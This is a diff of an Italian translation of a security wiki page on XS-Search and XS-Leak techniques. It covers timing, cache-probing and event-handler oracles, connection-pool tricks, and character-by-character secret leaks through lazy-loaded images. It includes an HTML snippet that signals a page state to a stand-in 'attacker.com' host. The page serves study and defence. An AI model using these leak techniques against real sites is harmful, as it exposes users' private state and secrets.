 Oppure si potrebbe semplicemente **inviare alcune fetch alla pagina potenzialmente memorizzata nella cache e misurare il tempo che impiega**.
 
-### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
+### Reindirizzamento Manuale <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
-- **Inclusion Methods**: Fetch API
+- **Metodi di Inclusione**: Fetch API
-- **Detectable Difference**: Redirects
+- **Differenza Rilevabile**: Reindirizzamenti
-- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
+- **Ulteriori informazioni**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
-- **Summary:** È possibile scoprire se una risposta a una richiesta fetch è un reindirizzamento
+- **Riepilogo:** È possibile scoprire se una risposta a una richiesta fetch è un reindirizzamento
-- **Code Example**:
+- **Esempio di Codice**:
 
 ![](<../images/image (652).png>)
 
-### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
+### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
-- **Inclusion Methods**: Fetch API
+- **Metodi di Inclusione**: Fetch API
-- **Detectable Difference**: Timing
+- **Differenza Rilevabile**: Tempistiche
-- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
-- **Summary:** È possibile provare a caricare una risorsa e annullare prima che venga caricata. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
+- **Riepilogo:** È possibile provare a caricare una risorsa e annullare prima che venga caricata. A seconda se viene attivato un errore, la risorsa era o non era memorizzata nella cache.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 
 Usa _**fetch**_ e _**setTimeout**_ con un **AbortController** per rilevare se la **risorsa è memorizzata nella cache** e per espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nella cache nuovi contenuti.
 
-### Script Pollution
+### Inquinamento degli Script
 
-- **Inclusion Methods**: HTML Elements (script)
+- **Metodi di Inclusione**: Elementi HTML (script)
-- **Detectable Difference**: Contenuto della pagina
+- **Differenza Rilevabile**: Contenuto della Pagina
-- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
-- **Summary:** È possibile **sovrascrivere funzioni integrate** e leggere i loro argomenti anche da **script cross-origin** (che non possono essere letti direttamente), questo potrebbe **trapelare informazioni preziose**.
+- **Riepilogo:** È possibile **sovrascrivere funzioni integrate** e leggere i loro argomenti anche da **script cross-origin** (che non possono essere letti direttamente), questo potrebbe **rivelare informazioni preziose**.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
 
 ### Service Workers <a href="#service-workers" id="service-workers"></a>
 
-- **Inclusion Methods**: Pop-ups
+- **Metodi di Inclusione**: Pop-up
-- **Detectable Difference**: Contenuto della pagina
+- **Differenza Rilevabile**: Contenuto della Pagina
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
-- **Summary:** Misura il tempo di esecuzione di un web utilizzando i service workers.
+- **Riepilogo:** Misura il tempo di esecuzione di un web utilizzando i service workers.
-- **Code Example**:
+- **Esempio di Codice**:
 
 Nello scenario dato, l'attaccante prende l'iniziativa di registrare un **service worker** all'interno di uno dei propri domini, specificamente "attacker.com". Successivamente, l'attaccante apre una nuova finestra nel sito web target dal documento principale e istruisce il **service worker** di avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passo precedente a una pagina gestita dal **service worker**.
 
@@ -817,35 +817,35 @@ All'arrivo della richiesta avviata nel passo precedente, il **service worker** r
 > [!WARNING]
 > In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
 
-### Fetch Timing
+### Tempistiche Fetch
 
-- **Inclusion Methods**: Fetch API
+- **Metodi di Inclusione**: Fetch API
-- **Detectable Difference**: Timing (generalmente a causa del Contenuto della Pagina, Codice di Stato)
+- **Differenza Rilevabile**: Tempistiche (generalmente a causa del Contenuto della Pagina, Codice di Stato)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
-- **Summary:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta. Altri orologi potrebbero essere utilizzati.
+- **Riepilogo:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta. Altri orologi potrebbero essere utilizzati.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 
-### Cross-Window Timing
+### Tempistiche Cross-Window
 
-- **Inclusion Methods**: Pop-ups
+- **Metodi di Inclusione**: Pop-up
-- **Detectable Difference**: Timing (generalmente a causa del Contenuto della Pagina, Codice di Stato)
+- **Differenza Rilevabile**: Tempistiche (generalmente a causa del Contenuto della Pagina, Codice di Stato)
-- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
+- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
-- **Summary:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
+- **Riepilogo:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) per misurare il tempo necessario per eseguire una richiesta utilizzando `window.open`. Altri orologi potrebbero essere utilizzati.
-- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
+- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
 
-## With HTML or Re Injection
+## Con HTML o Re Iniezione
 
 Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin **iniettando contenuto HTML**. Queste tecniche sono interessanti nei casi in cui per qualsiasi motivo puoi **iniettare HTML ma non puoi iniettare codice JS**.
 
-### Dangling Markup
+### Markup Pendente
 
 {{#ref}}
 dangling-markup-html-scriptless-injection/
 {{#endref}}
 
-### Image Lazy Loading
+### Caricamento Pigro delle Immagini
 
-Se hai bisogno di **esfiltrare contenuto** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di dangling markup**.\
+Se hai bisogno di **esfiltrare contenuti** e puoi **aggiungere HTML prima del segreto**, dovresti controllare le **tecniche comuni di markup pendente**.\
 Tuttavia, se per qualsiasi motivo **DEVI** farlo **carattere per carattere** (forse la comunicazione avviene tramite un colpo di cache) puoi usare questo trucco.
 
 **Le immagini** in HTML hanno un attributo "**loading**" il cui valore può essere "**lazy**". In tal caso, l'immagine verrà caricata quando viene visualizzata e non mentre la pagina si sta caricando:
@@ -867,7 +867,7 @@ Quindi la pagina web sarà qualcosa del tipo: **`https://victim.com/post.html#:~
 
 Dove post.html contiene i caratteri spazzatura dell'attaccante e un'immagine a caricamento lento e poi il segreto del bot viene aggiunto.
 
-Ciò che questo testo farà è far accedere il bot a qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine si caricherà solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
+Ciò che farà questo testo è far accedere al bot qualsiasi testo nella pagina che contiene il testo `SECR`. Poiché quel testo è il segreto ed è proprio **sotto l'immagine**, l'**immagine si caricherà solo se il segreto indovinato è corretto**. Quindi hai il tuo oracolo per **esfiltrare il segreto carattere per carattere**.
 
 Un esempio di codice per sfruttare questo: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 

src/pentesting-web/xs-search/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Informazioni di Base
+## Informazioni di base
 
 XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità di canale laterale**.
 
@@ -23,13 +23,13 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
 - **Utilizzo delle API**: Identificare **l'uso delle Web API** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica Web API JavaScript.
 - **Reindirizzamenti**: Rilevare navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
 - **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle sotto-risorse della pagina, come il **numero di frame incorporati** o le discrepanze di dimensione nelle immagini.
-- **Intestazione HTTP**: Notare la presenza o possibilmente il valore di una **specifica intestazione della risposta HTTP**, incluse intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
+- **Intestazione HTTP**: Notare la presenza o possibilmente il valore di un **specifico header di risposta HTTP**, inclusi header come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
 - **Tempi**: Notare discrepanze temporali costanti tra i due stati.
 
 ### Metodi di Inclusione
 
 - **Elementi HTML**: L'HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una compilazione di potenziali elementi HTML per questo scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
-- **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione al framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow.
+- **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione da framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow.
 - **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, eludono le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
 - **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP.
 
@@ -38,7 +38,7 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu
 - **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o il fallimento del caricamento delle risorse.
 - **Messaggi di Errore**: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
 - **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
-- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
+- **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia Storia) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin.
 - **Performance API**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
 - **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
 
@@ -56,7 +56,7 @@ Puoi **accedere allo strumento in** [**https://xsinator.com/**](https://xsinator
 Alcune delle seguenti tecniche utilizzeranno il tempo come parte del processo per rilevare differenze nei possibili stati delle pagine web. Ci sono diversi modi per misurare il tempo in un browser web.
 
 **Orologi**: L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) consente agli sviluppatori di ottenere misurazioni temporali ad alta risoluzione.\
-Ci sono un numero considerevole di API che gli attaccanti possono abusare per creare orologi impliciti: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animazioni CSS e altri.\
+Esiste un numero considerevole di API che gli attaccanti possono abusare per creare orologi impliciti: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animazioni CSS e altri.\
 Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
 
 ## Tecniche di Gestore di Eventi
@@ -73,7 +73,7 @@ Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/clo
 cookie-bomb-+-onerror-xs-leak.md
 {{#endref}}
 
-L'esempio di codice cerca di **caricare oggetti script da JS**, ma **altri tag** come oggetti, fogli di stile, immagini, audio potrebbero essere utilizzati. Inoltre, è anche possibile iniettare il **tag direttamente** e dichiarare gli eventi `onload` e `onerror` all'interno del tag (anziché iniettarlo da JS).
+L'esempio di codice cerca di **caricare oggetti script da JS**, ma **altri tag** come oggetti, fogli di stile, immagini, audio potrebbero essere utilizzati. Inoltre, è anche possibile iniettare il **tag direttamente** e dichiarare gli eventi `onload` e `onerror` all'interno del tag (anziché iniettarli da JS).
 
 Esiste anche una versione di questo attacco senza script:
 ```html
@@ -81,7 +81,7 @@ Esiste anche una versione di questo attacco senza script:
 <object data="//attacker.com/?error"></object>
 </object>
 ```
-In questo caso, se `example.com/404` non viene trovato, verrà caricato `attacker.com/?error`.
+In questo caso, se `example.com/404` non viene trovato, verrà caricata `attacker.com/?error`.
 
 ### Onload Timing
 
@@ -162,7 +162,7 @@ javascript-execution-xs-leak.md
 ### CORB - Onerror
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Codice di stato e intestazioni
+- **Detectable Difference**: Codice di stato & Intestazioni
 - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
 - **Summary**: **Cross-Origin Read Blocking (CORB)** è una misura di sicurezza che impedisce alle pagine web di caricare determinate risorse sensibili cross-origin per proteggere contro attacchi come **Spectre**. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a **CORB** restituisce un `Content-Type` _**protetto da CORB**_ con `nosniff` e un codice di stato `2xx`, **CORB** rimuove il corpo e le intestazioni della risposta. Gli attaccanti che osservano questo possono dedurre la combinazione del **codice di stato** (che indica successo o errore) e il `Content-Type` (che denota se è protetto da **CORB**), portando a potenziali perdite di informazioni.
 - **Code Example**:
@@ -188,7 +188,7 @@ Puoi eseguire lo stesso attacco con i tag **`portal`**.
 - **Summary**: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessages come un oracolo per conoscere lo stato dell'utente nella pagina
 - **Code Example**: `Qualsiasi codice che ascolta tutti i postMessages.`
 
-Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è specificato correttamente, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può fungere da **oracolo**; ad esempio, alcuni messaggi potrebbero essere inviati solo agli utenti che hanno effettuato l'accesso. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come se siano autenticati o meno.
+Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è specificato correttamente, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può fungere da **oracolo**; ad esempio, alcuni messaggi potrebbero essere inviati solo agli utenti che sono connessi. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o sull'identità dell'utente, come se siano autenticati o meno.
 
 ## Tecniche di Limiti Globali
 
@@ -216,7 +216,7 @@ Questa XS-Leak consente a un attaccante di **rilevare quando una pagina cross-or
 
 Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il sito web target utilizza l'API di richiesta di pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà**, e causerà un'**eccezione JavaScript**. L'attaccante può sfruttare questo tentando **periodicamente di mostrare l'interfaccia utente dell'API di pagamento**. Se un tentativo causa un'eccezione, il sito web target la sta attualmente utilizzando. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.
 
-### Timing del ciclo di eventi <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
+### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
 
 - **Inclusion Methods**:
 - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
@@ -228,25 +228,25 @@ Poiché **solo una richiesta di pagamento può essere attiva** alla volta, se il
 event-loop-blocking-+-lazy-images.md
 {{#endref}}
 
-JavaScript opera su un modello di concorrenza a [ciclo di eventi a thread singolo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un'attività alla volta**. Questa caratteristica può essere sfruttata per valutare **quanto tempo impiega il codice di un'origine diversa per essere eseguito**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo di eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool di eventi è vuoto. Se altre origini stanno anche inviando eventi allo stesso pool, un **attaccante può dedurre il tempo necessario per l'esecuzione di questi eventi esterni osservando i ritardi nell'esecuzione delle proprie attività**. Questo metodo di monitoraggio del ciclo di eventi per ritardi può rivelare il tempo di esecuzione del codice proveniente da origini diverse, potenzialmente esponendo informazioni sensibili.
+JavaScript opera su un modello di concorrenza a [ciclo di eventi a thread singolo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un'attività alla volta**. Questa caratteristica può essere sfruttata per valutare **quanto tempo impiega il codice di un'origine diversa per essere eseguito**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo di eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool di eventi è vuoto. Se altre origini stanno anche inviando eventi allo stesso pool, un **attaccante può dedurre il tempo necessario per l'esecuzione di questi eventi esterni osservando i ritardi nell'esecuzione delle proprie attività**. Questo metodo di monitoraggio del ciclo di eventi per ritardi può rivelare il tempo di esecuzione del codice proveniente da origini diverse, esponendo potenzialmente informazioni sensibili.
 
 > [!WARNING]
 > In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
 
-### Ciclo di eventi occupato <a href="#busy-event-loop" id="busy-event-loop"></a>
+### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
 
 - **Inclusion Methods**:
 - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
 - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
-- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi misurare **quanto tempo impiega il ciclo di eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
+- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi il tempo **che impiega il ciclo di eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
 - **Code Example**:
 
-Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere la **Site Isolation**. La **Site Isolation** è una funzione di sicurezza che separa diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite dalla **Site Isolation**.
+Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere **Site Isolation**. **Site Isolation** è una funzione di sicurezza che separa diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Site Isolation**.
 
 > [!WARNING]
 > In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
 
-### Pool di connessione
+### Connection Pool
 
 - **Inclusion Methods**: Richieste JavaScript
 - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
@@ -267,32 +267,32 @@ I browser utilizzano socket per la comunicazione con il server, ma a causa delle
 
 Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
 
-### Pool di connessione per destinazione
+### Connection Pool by Destination
 
 - **Inclusion Methods**: Richieste JavaScript
 - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato)
 - **More info**:
-- **Summary:** È simile alla tecnica precedente, ma invece di utilizzare tutti i socket, Google **Chrome** impone un limite di **6 richieste concorrenti alla stessa origine**. Se **blocchiamo 5** e poi **lanciamo una 6°** richiesta possiamo **misurarla** e se siamo riusciti a far **inviare più richieste** alla **pagina vittima** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **6° richiesta** impiegherà **più tempo** e possiamo rilevarlo.
+- **Summary:** È simile alla tecnica precedente, ma invece di utilizzare tutti i socket, Google **Chrome** impone un limite di **6 richieste concorrenti alla stessa origine**. Se **blocchiamo 5** e poi **lanciamo una 6°** richiesta possiamo **temporalizzarla** e se siamo riusciti a far **inviare più richieste** alla **pagina vittima** allo stesso endpoint per rilevare uno **stato** della **pagina**, la **6° richiesta** impiegherà **più tempo** e possiamo rilevarlo.
 
 ## Tecniche dell'API di Prestazioni
 
-L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Resource Timing consente il monitoraggio dei tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
+L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di temporizzazione delle risorse consente di monitorare i tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili.
 
 Questa ricchezza di dati può essere recuperata tramite metodi come [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornendo una visione completa delle informazioni relative alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Tuttavia, vale la pena notare che per alcune operazioni in browser come Chrome, la precisione di `performance.now()` può essere limitata ai millisecondi, il che potrebbe influenzare la granularità delle misurazioni temporali.
 
-Oltre alle misurazioni temporali, l'API di Prestazioni può essere sfruttata per informazioni relative alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto `performance` in Chrome può indicare l'applicazione di `X-Frame-Options`. In particolare, se una pagina è bloccata dal rendering in un frame a causa di `X-Frame-Options`, non verrà registrata nell'oggetto `performance`, fornendo un indizio sottile sulle politiche di framing della pagina.
+Oltre alle misurazioni temporali, l'API di prestazioni può essere sfruttata per informazioni relative alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto `performance` in Chrome può indicare l'applicazione di `X-Frame-Options`. In particolare, se una pagina è bloccata dal rendering in un frame a causa di `X-Frame-Options`, non verrà registrata nell'oggetto `performance`, fornendo un indizio sottile sulle politiche di framing della pagina.
 
-### Perdita di errore
+### Perdita di Errori
 
 - **Inclusion Methods**: Frames, HTML Elements
 - **Detectable Difference**: Codice di stato
 - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
